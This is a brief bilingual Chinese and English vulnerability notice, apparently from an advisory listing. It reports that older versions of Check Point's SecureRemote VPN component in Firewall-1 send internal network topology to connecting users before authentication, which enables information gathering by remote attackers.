SecureRemote是CheckPoint软件设计的一个专利VPN构件，包含在某些版本的Firewall-1中。这个软件包存在一个安全问题，允许远程攻击者收集内部网络的信息。在某些旧版本中，它甚至会在通过身份验证之前就将内部网络的拓扑信息发送给连接者，这可能给攻击者进一步了解目标网络的机会。

SecureRemote is the proprietary VPN infrastructure designed by Check Point Software, and included with some versions of Firewall-1.

A problem with the package allows remote users to gain information about internal networks. Older versions of the package send network topology information to SecureRemote connections prior to authentication, allowing an information gathering attack.
